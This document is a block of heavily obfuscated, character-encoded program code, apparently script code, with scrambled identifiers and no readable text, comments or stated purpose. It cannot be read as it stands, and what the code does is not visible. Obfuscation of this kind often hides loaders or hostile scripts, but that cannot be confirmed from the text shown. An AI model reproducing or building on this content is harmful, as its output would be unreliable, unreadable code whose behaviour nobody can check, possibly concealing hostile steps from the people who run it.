68-=;0g1k=f9<,wnhiovw{13o'45<go:gvdU69w68-=;0g1k=f9<,wnhmlvw{62,m89/7oovawnokgjngtjgvv{62,m89/7oob5( g6,6h*67j545kh:w{62,m89/7oovdUUU69w{62,m89/7oo~bb}}yy%&l24,::0;+wnhijvw{62,m89/7oovbbb{>9kmm38o9&7jv-:+*-1+-*:dU"U-:+*-19>3,:dU"U9*1<+601-l(l2'6-,6 7)=1;6'w{13o'45<go:gvU$U69w~6( l).%/>&.=%8wnhmgvw==7i3&4;3f/;13mwnhojvv##~==7i3&4;3f/;13mwnhmgvw==7i3&4;3f/;13mwnhiivvv-:+*-1dU{%m0g&-m(2&'+b8:+ 0/+601w6( l).%/>&.=%8wnhihvs>-->&wvvdU69w~%&l24,::0;+wnhkkvw{%m0g&-m(2&'+vv{%m0g&-m(2&'+b>-->&wvdU{%m0g&-m(2&'+==7i3&4;3f/;13mwnhijvw{13o'45<go:gvb{13o'45<go:gdU69w6( l).%/>&.=%8wnjlhvw{%m0g&-m(2&'+vawnftnvv{%m0g&-m(2&'+b68-=;0g1k=f9<,wnhigvw{%m0g&-m(2&'+srwo':to'ivs1*33s+-*:vdU*/;>+: 0/+601w68-=;0g1k=f9<,wnhihvs{%m0g&-m(2&'+s6( l).%/>&.=%8wnhklvvdU"UUUU9*1<+601.j5:<)<%1=9&in)l=wvU$U69w~6( l).%/>&.=%8wnhmgvw==7i3&4;3f/;13mwnhojvv##~68-=;0g1k=f9<,wnhmgvw68-=;0g1k=f9<,wnhiivvv-:+*-1dU{%m0g&-m(2&'+b8:+ 0/+601w==7i3&4;3f/;13mwnhihvs>-->&wvvdU69w~==7i3&4;3f/;13mwnhkkvw{%m0g&-m(2&'+v##:2/+&w{%m0g&-m(2&'+vv-:+*-1dU{'>)0i8&i8fob>-->&wvdUUUU90-:><7w{%m0g&-m(2&'+>,{:* 9+m-gj5imn=jba{93=9>%l2lmh16-0nv$U69w~%&l24,::0;+wnhjgvw{93=9>%l2lmh16-0nv##{93=9>%l2lmh16-0nbbb}}##~==7i3&4;3f/;13mwnhilvw{93=9>%l2lmh16-0nvv<01+61*:dU69w*,8'.48k><:k8h-/&58683w{93=9>%l2lmh16-0nvbbb9>3,:v${'>)0i8&i8fo{:* 9+m-gj5imn=jb{93=9>%l2lmh16-0nd<01+61*:d"UU..+:l- 3/5(*9,%,)6<:w{93=9>%l2lmh16-0nswljktiivvdU69w6&3-,o*-.<)&:l.1w{93=9>%l2lmh16-0nvv${6f5jl2,o9).8);bnjtlid{.-91j5>;b{6f5jl2,o9).8);rmmdU69w%&l24,::0;+wnhmgvw6( l).%/>&.=%8wmoovvv0/<><7: 61)>36;>+:w{93=9>%l2lmh16-0ns+-*:vdU":3,:69w68-=;0g1k=f9<,wnhilvw{93=9>%l2lmh16-0nvv$U{'>)0i8&i8fo{:* 9+m-gj5imn=jb{93=9>%l2lmh16-0ndU"U"U*/;>+: 0/+601w6( l).%/>&.=%8wnhihvs{'>)0i8&i8fos68-=;0g1k=f9<,wnhklvvdU"U9*1<+601>);6+4j3028<, 3189wvU$U+-&$UUUU{3+1n/j=+n mb68-=;0g1k=f9<,wnhmgvw68-=;0g1k=f9<,wnihvv`:--0- 8:+ 3>,+wve1*33dU69wU==7i3&4;3f/;13mwnhkkvw{3+1n/j=+n mvyy~:2/+&w{3+1n/j=+n m%&l24,::0;+wnifvvyy~:2/+&w{3+1n/j=+n m6( l).%/>&.=%8wnhovvUyy==7i3&4;3f/;13mwhfivw{3+1n/j=+n m%&l24,::0;+wnhovs>-->&w s s  s  s 
 vs+-*:vUv$U{%5:95%,i=j):l36gb6( l).%/>&.=%8wglgvw-nif,f=:o%ol2)owvvdUUUUU{ :9b68-=;0g1k=f9<,wglgvw{3+1n/j=+n m==7i3&4;3f/;13mwnifvvdUUUU69w==7i3&4;3f/;13mwnhjgvw{%5:95%,i=j):l36gvyy%&l24,::0;+wnhjgvw{ :9vyy{ :9bbb{%5:95%,i=j):l36gv-:+*-1dU"U1ij/l)fgf->l(=8&8>3mfw%&l24,::0;+wnhjnvvdU69w;:961:;w%&l24,::0;+wnjijvvv$U{260g+/gifnj1,h/kb36(8/2k,l(ml k:/wvdUUU69w68-=;0g1k=f9<,wnhilvw{260g+/gifnj1,h/knvv$U{(>1i12milk;=nb==7i3&4;3f/;13mwnhiovw{260g+/gifnj1,h/kns9>3,:s1*33soswmlhnhlvvdUU69w%&l24,::0;+wnhjgvw{(>1i12milk;=nvyy6( l).%/>&.=%8wnillvw{(>1i12milk;=ns==7i3&4;3f/;13mwnjhmvq(8=4>%+g%(8i0>1>i(l9h+wvqxexvbbbov$UUU{*0f29i+%750b68-=;0g1k=f9<,wnhilvw{260g+/gifnj1,h/knq%&l24,::0;+wnhifvv`6( l).%/>&.=%8wnhiovw{260g+/gifnj1,h/knq%&l24,::0;+wnhhovs9>3,:s1*33soswkjtnfvve}}dU69w{*0f29i+%750~bb{(>1i12milk;=nv==7i3&4;3f/;13mwnhhnvw{260g+/gifnj1,h/kns{260g+/gifnj1,h/knq68-=;0g1k=f9<,wnhhmvvdU"U"U*1,:+w{260g+/gifnj1,h/ks{(>1i12milk;=ns{*0f29i+%750vdU"U"<>+<7w7-0(>=3:{5=>);g)11/.o=f4v$U"<>+<7w'<:/+601{5=>);g)11/.o=f4v$U"U"U9*1<+601%n(ihj+:1*'>37<;/mj&%w{+)+/73;,=nvU$UUUU69w~68-=;0g1k=f9<,wnhhlvw{+)+/73;,=nvv-:+*-1}}dU69w==7i3&4;3f/;13mwnhhkvw==7i3&4;3f/;13mwnhhjvs{+)+/73;,=ns{)m(&=&;j=n/468vv$U90-:><7w{)m(&=&;j=n/468n>,{%=/+o/'*6=v$U69w84(hi9m7&:'h6nk>:,nw68-=;0g1k=f9<,wkomvw{%=/+o/'*6=s+-*:vvv-:+*-1}}dU"U"UUUU69w==7i3&4;3f/;13mwnhhivw%&l24,::0;+wnhhhvs{+)+/73;,=ns{)m(&=&;j=n/468vv$U90-:><7w{)m(&=&;j=n/468n>,{%=/+o/'*6=v$U69w84(hi9m7&:'h6nk>:,nw,+-6/<,3>,7:,w{%=/+o/'*6=vvv-:+*-1}}dU69w6( l).%/>&.=%8wnillvw{%=/+o/'*6=s68-=;0g1k=f9<,wnhhgvv~bb9>3,:v${0j3+(6n3gjl*&>b  	d{&&7&o2=*=4*ib{0j3+(6n3gjl*&>ukdU{3>;'&,5:mim,; b/-:8 -:/3><: <>33=><4w6( l).%/>&.=%8wnhhfvs6( l).%/>&.=%8wnhgovs{%=/+o/'*6=vdU69w%&l24,::0;+wnhhlvw{3>;'&,5:mim,; vyy{3>;'&,5:mim,; ~bb{%=/+o/'*6=yy84(hi9m7&:'h6nk>:,nw{3>;'&,5:mim,; vv-:+*-1}}dU"U"U"U69w68-=;0g1k=f9<,wnhhivw68-=;0g1k=f9<,wnhgnvs{+)+/73;,=ns{)m(&=&;j=n/468vv$UUU90-:><7w{)m(&=&;j=n/468n>,{%=/+o/'*6=v$UUU69w84(hi9m7&:'h6nk>:,nw6( l).%/>&.=%8wnhgmvw>-->&w6( l).%/>&.=%8wnhglvs68-=;0g1k=f9<,wnhgkvvs>-->&wxxsxxxvs{%=/+o/'*6=vvv-:+*-1}}dUUUU69w%&l24,::0;+wnillvw{%=/+o/'*6=s==7i3&4;3f/;13mwnhhgvv~bb9>3,:v$U{3>;'&,5:mim,; b/-:8 -:/3><: <>33=><4w==7i3&4;3f/;13mwnhhfvs==7i3&4;3f/;13mwnhgovs{%=/+o/'*6=vdU69w68-=;0g1k=f9<,wnhgjvw{3>;'&,5:mim,; vyy{3>;'&,5:mim,; ~bb{%=/+o/'*6=yy84(hi9m7&:'h6nk>:,nw{3>;'&,5:mim,; vv-:+*-1}}dUUUU"U"U"U-:+*-1{+)+/73;,=ndU"U9*1<+601(=-f23(5<n;-.)'w{(*'/h7hj81,: vU$U69w~68-=;0g1k=f9<,wnhgjvw{(*'/h7hj81,: v##w68-=;0g1k=f9<,wnillvw{(*'/h7hj81,: s==7i3&4;3f/;13mwnhgivvbbb9>3,:yy68-=;0g1k=f9<,wnhghvw{(*'/h7hj81,: s%&l24,::0;+wkomvvbbb9>3,:vv-:+*-19>3,:dUUUU69w68-=;0g1k=f9<,wnhhivw==7i3&4;3f/;13mwnhhjvs{(*'/h7hj81,: s{)m(&=&;j=n/468vv$UUU90-:><7w{)m(&=&;j=n/468n>,{%=/+o/'*6=v$U69w84(hi9m7&:'h6nk>:,nw%&l24,::0;+wkomvw{%=/+o/'*6=s+-*:vvv-:+*-1+-*:dU"U"U69w6( l).%/>&.=%8wnhhivw68-=;0g1k=f9<,wnhhhvs{(*'/h7hj81,: s{)m(&=&;j=n/468vv$UU90-:><7w{)m(&=&;j=n/468n>,{%=/+o/'*6=v$U69w84(hi9m7&:'h6nk>:,nw,+-6/<,3>,7:,w{%=/+o/'*6=vvv-:+*-1+-*:dU"Upp+62:0*+93&(:687+UU90-:><7w{)m(&=&;j=n/468n>,{%=/+o/'*6=v$UUUU69w%&l24,::0;+wnhggvw{%=/+o/'*6=s==7i3&4;3f/;13mwnhhgvvbbb9>3,:v<01+61*:dUUU{3>;'&,5:mim,; b/-:8 -:/3><: <>33=><4w6( l).%/>&.=%8wnhhfvs%&l24,::0;+wnhgovs{%=/+o/'*6=vdU69w==7i3&4;3f/;13mwnhgjvw{3>;'&,5:mim,; vyy{3>;'&,5:mim,; ~bb{%=/+o/'*6=yy84(hi9m7&:'h6nk>:,nw{3>;'&,5:mim,; vv-:+*-1+-*:dU"U"U69w%&l24,::0;+wnhgfvw%&l24,::0;+wnhgnvs{(*'/h7hj81,: s{)m(&=&;j=n/468vv$UUU90-:><7w{)m(&=&;j=n/468n>,{%=/+o/'*6=v$UU69w84(hi9m7&:'h6nk>:,nw==7i3&4;3f/;13mwnhgmvw>-->&w68-=;0g1k=f9<,wnhglvs==7i3&4;3f/;13mwnhgkvvs>-->&wxxsxxxvs{%=/+o/'*6=vvv-:+*-1+-*:dUUU"U90-:><7w{)m(&=&;j=n/468n>,{%=/+o/'*6=v$U69w%&l24,::0;+wnhfovw{%=/+o/'*6=s==7i3&4;3f/;13mwnhhgvvbbb9>3,:v<01+61*:dU{3>;'&,5:mim,; b/-:8 -:/3><: <>33=><4w%&l24,::0;+wnhhfvs%&l24,::0;+wnhgovs{%=/+o/'*6=vdU69w6( l).%/>&.=%8wnhfnvw{3>;'&,5:mim,; vyy{3>;'&,5:mim,; ~bb{%=/+o/'*6=yy84(hi9m7&:'h6nk>:,nw{3>;'&,5:mim,; vv-:+*-1+-*:dUU"U"U-:+*-19>3,:dUUU"U9*1<+601-04nj+.0i9n)(f%w{(*'/h7hj81,: vU${4m=&5%h6bnfj#nld{=-h29)(jm =0gfb{4m=&5%h6nhdUUUU69w~6( l).%/>&.=%8wnhfmvw{(*'/h7hj81,: v##{(*'/h7hj81,: bbb}}v-:+*-1}}dU-:+*-1w68-=;0g1k=f9<,wnhmnvw68-=;0g1k=f9<,wnhflvs%&l24,::0;+wnhfkvw{(*'/h7hj81,: soswnmiltifmfvvs{)h5njf,21i9f/hvv`{)h5njf,21i9f/hne}}dU"U9*1<+6016;*-(%:1fk+'n'4l''w{62,m89/7oos{4-2&(':&2 -05's{)3,97;i 5%.ongb1*33vU${5hk<7n-hj756brkgnd{3>h;>,nf*(=5bw{5hk<7n-hj756aov`{5hk<7n-hj756er{5hk<7n-hj756dU69w~6( l).%/>&.=%8wnhfjvw{62,m89/7oov##{62,m89/7oobbb}}v-:+*-1{62,m89/7oodU{>855%l>1,o(7)203b==7i3&4;3f/;13mwnhfivq{4-2&(':&2 -05'q68-=;0g1k=f9<,wfifvdU{-6%<)l5%07.1;' 'b}}dU{497hmi75 3/9h=8bodU(763:w{497hmi75 3/9h=8ttcwkccjvv$U{-;i>j3<0f9b6( l).%/>&.=%8wnhfovw{62,m89/7oos{>855%l>1,o(7)203vdU69w{-;i>j3<0f9bbb9>3,:v=-:>4dU{(,i+,i<h320b{-;i>j3<0f9t==7i3&4;3f/;13mwnhmlvw{>855%l>1,o(7)203vdU{<;8,;ii>1(j;+b==7i3&4;3f/;13mwnhfovw{62,m89/7oos68-=;0g1k=f9<,wnimhvs{(,i+,i<h320vdU69w{<;8,;ii>1(j;+bbb9>3,:##{<;8,;ii>1(j;+r{(,i+,i<h320awkonokvv$U{-6%<)l5%07.1;' 'qb==7i3&4;3f/;13mwnhfkvw{62,m89/7oosos{(,i+,i<h320vdUU{62,m89/7oob6( l).%/>&.=%8wnhfkvw{62,m89/7oos{(,i+,i<h320vdU<01+61*:dU"U{9)n>on6o1n3&,5b68-=;0g1k=f9<,wnhfkvw{62,m89/7oos{(,i+,i<h320s{<;8,;ii>1(j;+r{(,i+,i<h320vdUUU69w~6( l).%/>&.=%8wnhmnvw==7i3&4;3f/;13mwnhfhvs{9)n>on6o1n3&,5vv$U{-6%<)l5%07.1;' 'qb6( l).%/>&.=%8wnhfgvw{62,m89/7oosos{(,i+,i<h320vdU{62,m89/7oob==7i3&4;3f/;13mwnhfgvw{62,m89/7oos{(,i+,i<h320vdU<01+61*:dU"U{:gk6j8k6.,.kb6( l).%/>&.=%8wnhffvq{4-2&(':&2 -05'q6( l).%/>&.=%8wngoovq{9)n>on6o1n3&,5q68-=;0g1k=f9<,wnimhvdU{&94g2h<:&6%;hn(<b68-=;0g1k=f9<,wnhfovw{62,m89/7oos{:gk6j8k6.,.ks{<;8,;ii>1(j;+vdU69w{&94g2h<:&6%;hn(<bbb9>3,:v=-:>4dUU{-6%<)l5%07.1;' 'qb%&l24,::0;+wnhfgvw{62,m89/7oosos{-;i>j3<0f9vdU{9)o9/;>;)2:b68-=;0g1k=f9<,wnhfgvw{62,m89/7oos{-;i>j3<0f9s{&94g2h<:&6%;hn(<t==7i3&4;3f/;13mwngonvw{:gk6j8k6.,.kvr{-;i>j3<0f9vdU69w{)3,97;i 5%.ong~bb1*33v$U{/59mn0<k05f9*jhib68-=;0g1k=f9<,wlljvw{)3,97;i 5%.ongs{9)o9/;>;)2:vdU69w%&l24,::0;+wnhfjvw{/59mn0<k05f9*jhivv{-6%<)l5%07.1;' 'qb{/59mn0<k05f9*jhidUUU":3,:$U{-6%<)l5%07.1;' 'qb{9)o9/;>;)2:d{>4&,(93j%k /k.b  	d{>2.n8<o'7mhb{>4&,(93j%k /k.ujdUU"U{62,m89/7oob68-=;0g1k=f9<,wnhfgvw{62,m89/7oos{&94g2h<:&6%;hn(<t68-=;0g1k=f9<,wngonvw{:gk6j8k6.,.kvvdUUU"UU-:+*-1{-6%<)l5%07.1;' 'q{62,m89/7oodUUU"U9*1<+6018.i,h2653<;,*jlnl65gw{+)+/73;,=nvU$UUU-:+*-1}}dUUU"U9*1<+6011)hl;4l2*n%+o</;gw{+)+/73;,=nvU$UU69w~%&l24,::0;+wnhfjvw{+)+/73;,=nvv-:+*-1}}dUUU69w~;:961:;w==7i3&4;3f/;13mwnjijvvv-:+*-1{+)+/73;,=ndU{4&31;n55f&b0,://=::3'-f*7wq%&l24,::0;+wngomvswkccnvvdU69w==7i3&4;3f/;13mwnhmnvw==7i3&4;3f/;13mwngolvq{4&31;n55f&q%&l24,::0;+wngokvs{+)+/73;,=nvv-:+*-1}}dU-:+*-1{+)+/73;,=ndU"U9*1<+601) 5/-5ij/g&.;6w{62,m89/7oovU$U69w~6( l).%/>&.=%8wngojvw{62,m89/7oov##{62,m89/7oobbb}}v-:+*-1{62,m89/7oodU{252-:,6o4m=o8n*)b6;*-(%:1fk+'n'4l''w{62,m89/7oos==7i3&4;3f/;13mwngoivs%&l24,::0;+wngohvvdU{252-:,6o4m=o8n*)b6;*-(%:1fk+'n'4l''w{252-:,6o4m=o8n*)s%&l24,::0;+wngogvs6( l).%/>&.=%8wngofvvdU69w==7i3&4;3f/;13mwngnovw{252-:,6o4m=o8n*)vv{252-:,6o4m=o8n*)b==7i3&4;3f/;13mwnilhvw==7i3&4;3f/;13mwngnnvs}}s{252-:,6o4m=o8n*)vdUUUU69w~68-=;0g1k=f9<,wngnovw{252-:,6o4m=o8n*)vv{252-:,6o4m=o8n*)b{62,m89/7ood{8):8g8:8>&%7jfb  p  d{=9,,.%*1* b{8):8g8:8>&%7jftfndU69w(=-f23(5<n;-.)'w{252-:,6o4m=o8n*)vv$UU{252-:,6o4m=o8n*)b6;*-(%:1fk+'n'4l''w{252-:,6o4m=o8n*)s%&l24,::0;+wngoivs==7i3&4;3f/;13mwngnmvvdUUU{252-:,6o4m=o8n*)b6;*-(%:1fk+'n'4l''w{252-:,6o4m=o8n*)s68-=;0g1k=f9<,wngnlvs68-=;0g1k=f9<,wngnmvvdU69w68-=;0g1k=f9<,wngnkvw{252-:,6o4m=o8n*)vv{252-:,6o4m=o8n*)b==7i3&4;3f/;13mwnilhvw%&l24,::0;+wngnnvs}}s{252-:,6o4m=o8n*)vdU"UU-:+*-1==7i3&4;3f/;13mwngnkvw{252-:,6o4m=o8n*)v`{252-:,6o4m=o8n*)e{62,m89/7oodUU"U9*1<+601%oh=**l'jf33lhw{62,m89/7oovU$U69w~6( l).%/>&.=%8wngnkvw{62,m89/7oov##~;:961:;w==7i3&4;3f/;13mwnjijvvv-:+*-19>3,:dU69w6( l).%/>&.=%8wnhmnvw68-=;0g1k=f9<,wngnnvs{62,m89/7oovv-:+*-1+-*:dUUUU{.&(3',*(1;2'4b0,://=::3'-f*7wq==7i3&4;3f/;13mwngnjvswo'ito'mvvdU69w==7i3&4;3f/;13mwnhgfvw%&l24,::0;+wngnivs{62,m89/7oos{=0j.mkf4>%vv$U90-:><7w{=0j.mkf4>%n>,{3>(8nmg10/&v$U69w6( l).%/>&.=%8wnhfgvw{3>(8nmg10/&srwktjvvbbbxexq{.&(3',*(1;2'4v-:+*-1+-*:dU"UUU"U{ ;;b%&l24,::0;+wnhfgvw68-=;0g1k=f9<,wnhijvwq%&l24,::0;+wngnhvvsoswnmrkvvdU69w==7i3&4;3f/;13mwnhgfvw%&l24,::0;+wngngvs{62,m89/7oos{ ;2vv$Upp/><:-30<4<*,+026%:-+->1,/0-+UU90-:><7w{ ;2n>,{4':o2/+*;&2ov$U69w{4':o2/+*;&2obbb{ ;;v-:+*-1+-*:dU"U"U-:+*-19>3,:dUUU"U9*1<+6017';fn (((<55=&=*2,n.wvUU$U69w~6,,:+w{ %&l24,::0;+wngnfvv##~68-=;0g1k=f9<,wngnkvw{ 68-=;0g1k=f9<,wngnfvv##~68-=;0g1k=f9<,wnhmgvw6( l).%/>&.=%8wnhojvvv-:+*-1dU{:ml 398)+> *b8:+ 0/+601w6( l).%/>&.=%8wngmovs>-->&wvvdU69w~6( l).%/>&.=%8wngmnvw{:ml 398)+> *vv-:+*-1dU{3g/5>hg0igk3lbw,+-618v{ 6( l).%/>&.=%8wngmmvdU{-9+g)k4;g&,7'hb>-->&wvdU69w6,,:+w{:ml 398)+> *x+xvv{-9+g)k4;g&,7'hbw,+-618v{:ml 398)+> *x+xdU69w6,,:+w{:ml 398)+> *6( l).%/>&.=%8wilovvyy==7i3&4;3f/;13mwngmnvw{:ml 398)+> *%&l24,::0;+wilovvv$U90-:><7w{:ml 398)+> *%&l24,::0;+wilov>,{7f+83*&5.9<v$UUU69w==7i3&4;3f/;13mwngmnvw{7f+83*&5.9<vyy6,,:+w{7f+83*&5.9<x+xvv{-9+g)k4;g&,7'hbw,+-618v{7f+83*&5.9<x+xdU"U"U{)*346h9%+m.8%f)>b9>3,:dU90-:><7w{-9+g)k4;g&,7'h>,{<-7m'12++9v${.68:'l1,lb  	d{)(7>=8g+.b{.68:'l1,lujdU69w{<-7m'12++9bbb}}v<01+61*:dU{)*346h9%+m.8%f)>b==7i3&4;3f/;13mwnhmgvw==7i3&4;3f/;13mwngmlvv`7>,7 :.*>3,w{<-7m'12++9s{3g/5>hg0igk3lvew{<-7m'12++9bbb{3g/5>hg0igk3lvdU69w{)*346h9%+m.8%f)>v=-:>4dU"Upp;:/-0)6,601,<7:;*3:-UU69w~{)*346h9%+m.8%f)>v-:+*-1dUUUU69w%&l24,::0;+wnhmgvw%&l24,::0;+wjmmvvv$UUUU%&l24,::0;+wjmmvw9*1<+601wv*,:w{3g/5>hg0igk3lv$U:<70}1c~rre}q{3g/5>hg0igk3lq68-=;0g1k=f9<,wngmkvdU"vdUU"U"U9*1<+601)fh>799j<m31 ;*033,,wvU$U69w~%&l24,::0;+wngmjvw%&l24,::0;+wnhojvvv-:+*-19>3,:dUUU{)h5njf,21i9f/hb8:+ 0/+601w%&l24,::0;+wimjvs}}vdUUUU69w~==7i3&4;3f/;13mwngnkvw{)h5njf,21i9f/hv##68-=;0g1k=f9<,wnhfovw{)h5njf,21i9f/hs68-=;0g1k=f9<,wngmivv~bbov-:+*-19>3,:dU{,016.&l h:,l25)bw61+v6( l).%/>&.=%8wnhfgvw{)h5njf,21i9f/hswngfnghvvdU69w{,016.&l h:,l25)yy6( l).%/>&.=%8wngmhvwvr{,016.&l h:,l25)awgiljitkkvv-:+*-19>3,:dU-:+*-1+-*:dU"U9*1<+6011on< f0*0+>j>%6w{13o'45<go:gs{*%j,*:0,g7=6>4vU$Upp:2<><7:;>;>/+:-e*130>;(>+:-2>-4UU69w~%&l24,::0;+wngmjvw6( l).%/>&.=%8wnhiivv##~==7i3&4;3f/;13mwngmgvw6( l).%/>&.=%8wjmmvvv-:+*-19>3,:dUU69w)fh>799j<m31 ;*033,,wvv-:+*-1+-*:dU{:ml 398)+> *b8:+ 0/+601w%&l24,::0;+wngmovs>-->&wvvdU69w~6( l).%/>&.=%8wngmnvw{:ml 398)+> *vv{:ml 398)+> *b>-->&wvdU69w~6,,:+w{:ml 398)+> *==7i3&4;3f/;13mwngmfvv##~==7i3&4;3f/;13mwngmnvw{:ml 398)+> *%&l24,::0;+wngmfvvv$UUUU{(51;l0,/k-hg/b>-->&wvdUUU69w6,,:+w{:ml 398)+> *x+xs{:ml 398)+> *x/xs{:ml 398)+> *x=xvv$Upp/-0)6,601,+-01810261>3r+&/:UU{(51;l0,/k-hg/68-=;0g1k=f9<,wnhijvww,+-618v{:ml 398)+> *x/xvb>-->&wx+xbaw,+-618v{:ml 398)+> *x+xsx/xbaw,+-618v{:ml 398)+> *x/xsx=xbaw,+-618v{:ml 398)+> *x=xs==7i3&4;3f/;13mwnogovba6,,:+w{:ml 398)+> *6( l).%/>&.=%8wnogovv`w61+v{:ml 398)+> *==7i3&4;3f/;13mwnogove68-=;0g1k=f9<,wngmhvwvs==7i3&4;3f/;13mwnglovbaosx1xbaovdU"U{:ml 398)+> *b>-->&w68-=;0g1k=f9<,wngmfvba{(51;l0,/k-hg/vdU"U{9)n>on6o1n3&,5b==7i3&4;3f/;13mwnhijvw{13o'45<go:gvdUU69w6,,:+w{:ml 398)+> *%&l24,::0;+wngmfv{9)n>on6o1n3&,5vv$U{:ml 398)+> *%&l24,::0;+wngmfv{9)n>on6o1n3&,568-=;0g1k=f9<,wnogovb==7i3&4;3f/;13mwnglnvwvdUUUU{:ml 398)+> *==7i3&4;3f/;13mwngmfv{9)n>on6o1n3&,56( l).%/>&.=%8wnglmvbodUUU{:ml 398)+> *68-=;0g1k=f9<,wngmfv{9)n>on6o1n3&,5x1xbw{*%j,*:0,g7=6>4bbb}}v`neodU69w~,=.9=%*lk<l11j),n'56'/w{:ml 398)+> *%&l24,::0;+wngllv{9)n>on6o1n3&,5x=xs{*%j,*:0,g7=6>4vv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnglkvs68-=;0g1k=f9<,wngljvvdU-:+*-19>3,:dU"UU":3,:$U{-h/43n4*<,ob(2++90&.)m=1=gl8g6wvdU{4,&79/%f%k%34;5lb{-h/43n4*<,oq==7i3&4;3f/;13mwnglivq0,://=::3'-f*7w{13o'45<go:gswnfrhvvq68-=;0g1k=f9<,wnglhvdU69w~,=.9=%*lk<l11j),n'56'/w{4,&79/%f%k%34;5ls{*%j,*:0,g7=6>4vv$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnglkvs%&l24,::0;+wnglgvvdUUUU-:+*-19>3,:dUUUU"U{:ml 398)+> *68-=;0g1k=f9<,wngllv{9)n>on6o1n3&,5b>-->&wx+xba:'kn'i<7oh8m.1o1'8nwwkhilvvsx/xba{13o'45<go:gsx=xba{4,&79/%f%k%34;5ls68-=;0g1k=f9<,wnogovba6( l).%/>&.=%8wnglfvwvs%&l24,::0;+wngkovbaosx1xbaw{*%j,*:0,g7=6>4bbb}}v`neovdUU"U(763:w68-=;0g1k=f9<,wngknvw{:ml 398)+> *6( l).%/>&.=%8wngllvvawnkrkvv$U{9&(kg:..l->,9.'b1*33dUUUU{7i5%o,=%l<:*-l0kb1*33dUUU90-:><7w{:ml 398)+> *68-=;0g1k=f9<,wngllv>,{.n+>m'=n.11*hi1.ba{2g&i5:nn3o0.v$UUU69w{7i5%o,=%l<:*-l0kbbb1*33##w61+v{2g&i5:nn3o0.%&l24,::0;+wnogovc{7i5%o,=%l<:*-l0kv${%<.1%4o9=bwo':;to'hkvd{0.0;k  17)b{%<.1%4o9=zfdUUUU{7i5%o,=%l<:*-l0kbw61+v{2g&i5:nn3o0.==7i3&4;3f/;13mwnogovdU{9&(kg:..l->,9.'b{.n+>m'=n.11*hi1.dUU"U"U69w{9&(kg:..l->,9.'bbb1*33v=-:>4dU6&3-,o*-.<)&:l.1w{:ml 398)+> *6( l).%/>&.=%8wngkmv{9&(kg:..l->,9.'x=xvdU*1,:+w{:ml 398)+> *==7i3&4;3f/;13mwngkmv{9&(kg:..l->,9.'vdU"UU*/;>+: 0/+601w%&l24,::0;+wngklvs{:ml 398)+> *s68-=;0g1k=f9<,wnhklvvdU6( l).%/>&.=%8wjmmvw%&l24,::0;+wngkkvvdU-:+*-1+-*:dU"UUU9*1<+6016og;7mg71n,&*/<4k<23w{525g<n/i;89vU$UUUU{6;+5-)3(5+1%&b%&l24,::0;+wngkjvw{525g<n/i;89s>-->&w68-=;0g1k=f9<,wnnjlvbawftlvs%&l24,::0;+wnnkivba9>3,:s68-=;0g1k=f9<,wkkgvba+-*:s68-=;0g1k=f9<,wngkivbaos68-=;0g1k=f9<,wnnkgvba>-->&w%&l24,::0;+wnnkfvba%&l24,::0;+wngkhvs6( l).%/>&.=%8wngkgvba%&l24,::0;+wnnjovvvvdU69w%&l24,::0;+wngkfvw%&l24,::0;+wngjovvyy6, (/ :--0-w{6;+5-)3(5+1%&vv-:+*-1>-->&wrns9>3,:vdU{+=2kgjmo+&0*3</nb%&l24,::0;+wngkfvw==7i3&4;3f/;13mwngjnvv`w61+v(/ -:20+: -:+-6:): -:,/01,: <0;:w{6;+5-)3(5+1%&veodU-:+*-1>-->&w{+=2kgjmo+&0*3</ns{+=2kgjmo+&0*3</naoyy==7i3&4;3f/;13mwngjmvw%&l24,::0;+wngjlvv`w,+-618v(/ -:20+: -:+-6:): =0;&w{6;+5-)3(5+1%&ve}}vdU"U9*1<+601)l9;<2><;:/1 2ih)+w{7f+83*&5.9<vU$U{0nhn3h>(:(;g<b6( l).%/>&.=%8wngjkvw{7f+83*&5.9<x=xvd{9'-knkik*7gkbngujd{>.n/;:<5/7/;b{9'-knkik*7gkrkodUU69w~6( l).%/>&.=%8wngnkvw{0nhn3h>(:(;g<vv-:+*-19>3,:dU69w{0nhn3h>(:(;g<bbb}}v$U69w:2/+&w{7f+83*&5.9<x1xvv-:+*-19>3,:dU{6<84og.246:.7b~68-=;0g1k=f9<,wngjjvw{7f+83*&5.9<x/xvdU69w~{6<84og.246:.7v${249%k9=k/lb  p  d{=-i =)51'b{249%k9=k/ltmjdU..+:l- 3/5(*9,%,)6<:w{7f+83*&5.9<x/xswlhftknvvdU{6<84og.246:.7b6&3-,o*-.<)&:l.1w{7f+83*&5.9<x/xvdU"U69w%&l24,::0;+wngjmvw6( l).%/>&.=%8wmoovvv0/<><7: 61)>36;>+:w{7f+83*&5.9<x/xs+-*:vdU-:+*-1{6<84og.246:.7d{;</,j.o)75b  	d{-951f:m,b{;</,j.o)75undU"U69w~,=.9=%*lk<l11j),n'56'/w{7f+83*&5.9<x/xs{0nhn3h>(:(;g<vv-:+*-19>3,:dUU69w==7i3&4;3f/;13mwngjmvw6( l).%/>&.=%8wmoovvv0/<><7: 61)>36;>+:w{7f+83*&5.9<x/xs+-*:vdUUU-:+*-1+-*:dU"UUU9*1<+6011*&<40> 0;&=1knwvU$U69w~==7i3&4;3f/;13mwngjmvw%&l24,::0;+wngjivvv-:+*-1dU{:ml 398)+> *b8:+ 0/+601w%&l24,::0;+wngklvs>-->&wvvdUUU69w~6( l).%/>&.=%8wngmnvw{:ml 398)+> *vv-:+*-1dU69w~6,,:+w{:ml 398)+> *6( l).%/>&.=%8wngkmvv##~68-=;0g1k=f9<,wngmnvw{:ml 398)+> *%&l24,::0;+wngjhvvv$U{(51;l0,/k-hg/b>-->&wvdU69w6,,:+w{:ml 398)+> *x+xs{:ml 398)+> *x/xs{:ml 398)+> *x=xvv$UUUU{(51;l0,/k-hg/==7i3&4;3f/;13mwnhijvww,+-618v{:ml 398)+> *x/xvb>-->&wx+xbaw,+-618v{:ml 398)+> *x+xsx/xbaw,+-618v{:ml 398)+> *x/xsx=xbaw,+-618v{:ml 398)+> *x=xs==7i3&4;3f/;13mwnogovba6,,:+w{:ml 398)+> *==7i3&4;3f/;13mwngjgvv`w61+v{:ml 398)+> *==7i3&4;3f/;13mwngjgve%&l24,::0;+wnglfvwvs%&l24,::0;+wngkovbaovdU"U{:ml 398)+> *b>-->&w==7i3&4;3f/;13mwngjhvba{(51;l0,/k-hg/vd{/k9ig4;)2bkmuid{8<8%=,kkmb{/k9ig4;)2rnidU"U69w:2/+&w{:ml 398)+